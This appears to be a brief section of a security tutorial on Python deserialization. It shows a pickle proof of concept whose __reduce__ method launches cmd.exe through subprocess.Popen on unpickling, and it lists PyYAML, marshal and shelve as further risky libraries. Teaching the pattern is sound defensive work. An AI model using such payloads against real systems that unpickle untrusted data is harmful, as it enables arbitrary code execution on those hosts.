5.2.2. Deserialization

5.2.2.1. pickle demo

Python Pickle will call __reduce__ during deserialization, a custom``__reduce__`` function can be used to implement the attack.

import pickle
import pickletools
import subprocess

class A(object):
    a = 1
    b = 2
    def __reduce__(self):
        return (subprocess.Popen, (('cmd.exe',),))

data = pickle.dumps(A())
pickletools.dis(data)

5.2.2.2. Other serialization libraries

• PyYAML

• marshal

• shelve